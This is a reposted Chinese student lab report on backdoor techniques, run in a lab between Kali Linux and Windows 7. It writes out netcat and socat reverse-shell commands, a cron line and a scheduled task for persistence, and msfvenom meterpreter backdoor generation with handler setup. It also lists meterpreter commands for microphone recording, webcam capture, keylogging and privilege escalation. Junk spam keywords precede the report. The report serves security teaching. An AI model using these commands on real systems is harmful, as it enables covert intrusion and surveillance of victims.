青海省建设银行网站,做兼职最好的网站,德阳小程序开发,工业设计公司宣传语2018-2019-2 网络对抗技术 20165301 Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell#xff0c;cron启动(2)使用socat获取主机操作Shell, 任务计划启动(3)使用MSF meterpreter#xff08;或其他软件#xff09;生成可执行文件#xff0c;利用ncat或socat传送…2018-2019-2 网络对抗技术 20165301 Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shellcron启动(2)使用socat获取主机操作Shell, 任务计划启动(3)使用MSF meterpreter或其他软件生成可执行文件利用ncat或socat传送到主机并运行获取主机Shell(4)使用MSF meterpreter或其他软件生成获取目标主机音频、摄像头、击键记录等内容并尝试提权(5)可选加分内容使用MSF生成shellcode,注入到实践1中的pwn1中获取反弹连接Shell(1分加分内容一并写入本实验报告。常用后门工具 netcat Win获得Linux ShellLinux获得Win ShellMeterpreter基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式 通过浏览网页而不知不觉中自动下载的程序像木马那样。(2)例举你知道的后门如何启动起来(win及linux)的方式 win通过修改注册表、设置为开机自启动linux通过cron启动(3)Meterpreter有哪些给你映像深刻的功能 可以获取被控主机的摄像头权限查询你的击键内容。(4)如何发现自己有系统有没有被安装后门 查看任务计划程序、开机自启动项、注册表项中是否有可疑程序使用防火墙、杀毒软件。定期对电脑进行安全扫描。实践过程记录实验前期准备 netcat:Windows获得Linux Shell 使用ipconfig查看win7网络地址使用ncat.exe程序监听本机的5301端口ncat.exe -l -p 5301在Kali环境下使用nc 192.168.1.192 5301 -e /bin/sh成功获得Kali的shell如下图所示 Linux获得Windows Shell 在kali中使用ifconfig查看IP,打开监听nc -l -p 5301在Windows中反弹连接kalincat.exe -e cmd.exe 192.168.216.130 5301kali成功获得Windows的命令提示使用nc传输数据 Windows下监听5301端口ncat.exe -l 5301kali反弹连接到Windows的5301端口nc 192.168.1.192 5301连接建立成功双方可以相互传输数据任务一使用netcat获取主机操作Shellcron启动 在Windows系统下监听5301端口在Kali环境下用crontab -e指令编辑一条定时任务crontab指令增加一条定时任务-e表示编辑选择编辑器时选择3第一次会提示选择编辑器以后就不会提示了在最后一行添加01 * * * * /bin/netcat 169.254.175.85 5318 -e /bin/sh意思是在每个小时的第1分钟反向连接Windows主机的5301端口 当时间到达时win成功获取linux的shell任务二使用socat获取主机操作Shell, 任务计划启动 在Wiondws中搜索计算机管理在弹出的窗口点击创建任务填写任务名exp2在任务栏下选择socat.exe的路径然后在参数栏填写tcp-listen:5301 exec:cmd.exe,pty,stderr后点击确定。在列表中右键选中刚刚创建的任务点击运行。windowsl,锁定计算机再启动已创建的任务。在linux的终端输入socket - tcp:192.168.1.192:5301此时可以发现已经成功获得了一个cmd shell任务三使用MSF meterpreter或其他软件生成可执行文件利用ncat或socat传送到主机并运行获取主机Shell 在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.216.130 LPORT5301 -f exe 20165301_backdoor.exe注意这里的IP地址为控制端IP即LinuxIP可见已经生成了后门程序“20165301_backdoor.exe”在Windows下执行ncat.exe -l 5301 20165301_backdoor.exe这样被控主机就进入了接收文件模式在Linux中执行nc 172.20.10.3 5301 20165301_backdoor.exe注意这里的IP为被控主机IP即WindowsIP文件传输成功在Kali上使用msfconsole指令进入msf控制台输入use exploit/multi/handler使用监听模块设置payloadset payload windows/meterpreter/reverse_tcp使用和生成后门程序时相同的payloadset LHOST 192.168.216.130这里用的是LinuxIP和生成后门程序时指定的IP相同set LPORT 5301同样要使用相同的端口输入show options,输入exploit运行Windows下的后门程序此时Kali上已经获得了Windows主机的连接并且得到了远程控制的shell任务四使用MSF meterpreter或其他软件生成获取目标主机音频、摄像头、击键记录等内容并尝试提权 使用record_mic指令可以截获一段音频使用webcam_snap指令可以使用摄像头进行拍照使用keyscan_start指令开始记录下击键的过程使用keyscan_dump指令读取击键的记录使用screenshot指令可以进行截屏先使用getuid令查看当前用户使用etsystem指令进行提权实验总结与体会 本次实验室一次非常有趣的实验。在实践过程中我学会和如何运用ncat、socat进行攻击。在实验过程中我遇到的最严重的问题是在实验三中。最终生成的.exe程序无法运行经过反复尝试关闭了防火墙、杀毒软件搞清楚输入谁的ip地址后终于成功了。在攻击成功之后也是我深刻地认识到了保护好计算机安全的重要性。转载于:https://www.cnblogs.com/CTF5301/p/10590330.html